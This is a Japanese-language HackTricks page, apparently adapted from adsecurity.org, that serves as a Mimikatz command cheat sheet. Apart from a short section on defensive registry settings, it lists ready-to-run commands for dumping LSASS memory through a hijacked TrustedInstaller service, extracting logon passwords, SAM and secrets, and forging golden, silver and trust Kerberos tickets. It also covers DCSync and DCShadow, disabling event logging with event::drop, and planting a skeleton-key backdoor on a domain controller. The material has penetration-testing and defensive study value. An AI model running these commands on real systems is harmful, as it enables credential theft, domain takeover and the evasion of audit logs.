Mimikatz

Support HackTricks

このページは adsecurity.org のものに基づいています。詳細については元のページを確認してください!

LM とメモリ内の平文

Windows 8.1 および Windows Server 2012 R2 以降、資格情報の盗難を防ぐために重要な対策が実施されています:

  • LM ハッシュと平文のパスワードは、セキュリティを強化するためにメモリに保存されなくなりました。特定のレジストリ設定、HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential" を DWORD 値 0 に設定してダイジェスト認証を無効にし、「平文」パスワードが LSASS にキャッシュされないようにする必要があります。

  • LSA 保護は、ローカル セキュリティ機関 (LSA) プロセスを不正なメモリ読み取りやコード注入から保護するために導入されました。これは、LSASS を保護されたプロセスとしてマークすることで実現されます。LSA 保護を有効にするには:

  1. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa のレジストリを変更し、RunAsPPLdword:00000001 に設定します。

  2. このレジストリ変更を管理対象デバイス全体に強制するグループ ポリシー オブジェクト (GPO) を実装します。

これらの保護にもかかわらず、Mimikatz のようなツールは特定のドライバーを使用して LSA 保護を回避できますが、そのような行動はイベントログに記録される可能性が高いです。

SeDebugPrivilege 削除への対抗策

管理者は通常、プログラムをデバッグするための SeDebugPrivilege を持っています。この特権は、不正なメモリダンプを防ぐために制限されることがあります。これは、攻撃者がメモリから資格情報を抽出するために使用する一般的な手法です。しかし、この特権が削除されても、TrustedInstaller アカウントはカスタマイズされたサービス構成を使用してメモリダンプを実行できます:

sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller

これにより、lsass.exe メモリをファイルにダンプすることができ、その後別のシステムで分析して資格情報を抽出できます:

# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords

Mimikatz Options

Mimikatzにおけるイベントログの改ざんは、主に2つのアクションを含みます:イベントログのクリアと新しいイベントのログ記録を防ぐためのイベントサービスのパッチ。以下は、これらのアクションを実行するためのコマンドです:

Clearing Event Logs

  • Command: このアクションは、イベントログを削除することを目的としており、悪意のある活動を追跡することを難しくします。

  • Mimikatzは、コマンドラインを介してイベントログを直接クリアするための直接的なコマンドを標準のドキュメントには提供していません。しかし、イベントログの操作は通常、特定のログをクリアするためにMimikatzの外部でシステムツールやスクリプトを使用することを含みます(例:PowerShellやWindows Event Viewerを使用)。

Experimental Feature: Patching the Event Service

  • Command: event::drop

  • この実験的なコマンドは、イベントログサービスの動作を変更するように設計されており、新しいイベントの記録を効果的に防ぎます。

  • Example: mimikatz "privilege::debug" "event::drop" exit

  • privilege::debugコマンドは、Mimikatzがシステムサービスを変更するために必要な特権で動作することを保証します。

  • 次に、event::dropコマンドがイベントログサービスをパッチします。

Kerberos Ticket Attacks

Golden Ticket Creation

ゴールデンチケットは、ドメイン全体のアクセスのなりすましを可能にします。主なコマンドとパラメータ:

  • Command: kerberos::golden

  • Parameters:

  • /domain: ドメイン名。

  • /sid: ドメインのセキュリティ識別子(SID)。

  • /user: なりすますユーザー名。

  • /krbtgt: ドメインのKDCサービスアカウントのNTLMハッシュ。

  • /ptt: チケットをメモリに直接注入します。

  • /ticket: 後で使用するためにチケットを保存します。

Example:

mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit

Silver Ticket Creation

Silver Ticketsは特定のサービスへのアクセスを許可します。主なコマンドとパラメータ:

  • コマンド:Golden Ticketに似ていますが、特定のサービスをターゲットにします。

  • パラメータ:

  • /service:ターゲットとするサービス(例:cifs、http)。

  • その他のパラメータはGolden Ticketに似ています。

例:

mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit

Trust Ticket Creation

Trust Ticketsは、信頼関係を利用してドメイン間でリソースにアクセスするために使用されます。主なコマンドとパラメータ:

  • Command: Golden Ticketに似ていますが、信頼関係用です。

  • Parameters:

  • /target: 対象ドメインのFQDN。

  • /rc4: 信頼アカウントのNTLMハッシュ。

Example:

mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit

追加のKerberosコマンド

  • チケットのリスト:

  • コマンド: kerberos::list

  • 現在のユーザーセッションのすべてのKerberosチケットをリストします。

  • キャッシュをパスする:

  • コマンド: kerberos::ptc

  • キャッシュファイルからKerberosチケットを注入します。

  • 例: mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit

  • チケットをパスする:

  • コマンド: kerberos::ptt

  • 別のセッションでKerberosチケットを使用できるようにします。

  • 例: mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit

  • チケットを消去する:

  • コマンド: kerberos::purge

  • セッションからすべてのKerberosチケットをクリアします。

  • チケット操作コマンドを使用する前に、競合を避けるために便利です。

Active Directoryの改ざん

  • DCShadow: ADオブジェクト操作のために一時的にマシンをDCとして機能させます。

  • mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit

  • DCSync: DCを模倣してパスワードデータを要求します。

  • mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit

認証情報アクセス

  • LSADUMP::LSA: LSAから認証情報を抽出します。

  • mimikatz "lsadump::lsa /inject" exit

  • LSADUMP::NetSync: コンピュータアカウントのパスワードデータを使用してDCを偽装します。

  • 元の文脈ではNetSyncのための特定のコマンドは提供されていません。

  • LSADUMP::SAM: ローカルSAMデータベースにアクセスします。

  • mimikatz "lsadump::sam" exit

  • LSADUMP::Secrets: レジストリに保存された秘密を復号化します。

  • mimikatz "lsadump::secrets" exit

  • LSADUMP::SetNTLM: ユーザーの新しいNTLMハッシュを設定します。

  • mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit

  • LSADUMP::Trust: 信頼認証情報を取得します。

  • mimikatz "lsadump::trust" exit

その他

  • MISC::Skeleton: DC上のLSASSにバックドアを注入します。

  • mimikatz "privilege::debug" "misc::skeleton" exit

権限昇格

  • PRIVILEGE::Backup: バックアップ権限を取得します。

  • mimikatz "privilege::backup" exit

  • PRIVILEGE::Debug: デバッグ権限を取得します。

  • mimikatz "privilege::debug" exit

認証情報ダンプ

  • SEKURLSA::LogonPasswords: ログイン中のユーザーの認証情報を表示します。

  • mimikatz "sekurlsa::logonpasswords" exit

  • SEKURLSA::Tickets: メモリからKerberosチケットを抽出します。

  • mimikatz "sekurlsa::tickets /export" exit

SIDとトークンの操作

  • SID::add/modify: SIDとSIDHistoryを変更します。

  • 追加: mimikatz "sid::add /user:targetUser /sid:newSid" exit

  • 修正: 元の文脈では修正のための特定のコマンドは提供されていません。

  • TOKEN::Elevate: トークンを偽装します。

  • mimikatz "token::elevate /domainadmin" exit

ターミナルサービス

  • TS::MultiRDP: 複数のRDPセッションを許可します。

  • mimikatz "ts::multirdp" exit

  • TS::Sessions: TS/RDPセッションをリストします。

  • 元の文脈ではTS::Sessionsのための特定のコマンドは提供されていません。

ボールト

  • Windows Vaultからパスワードを抽出します。

  • mimikatz "vault::cred /patch" exit

HackTricksをサポートする

Last updated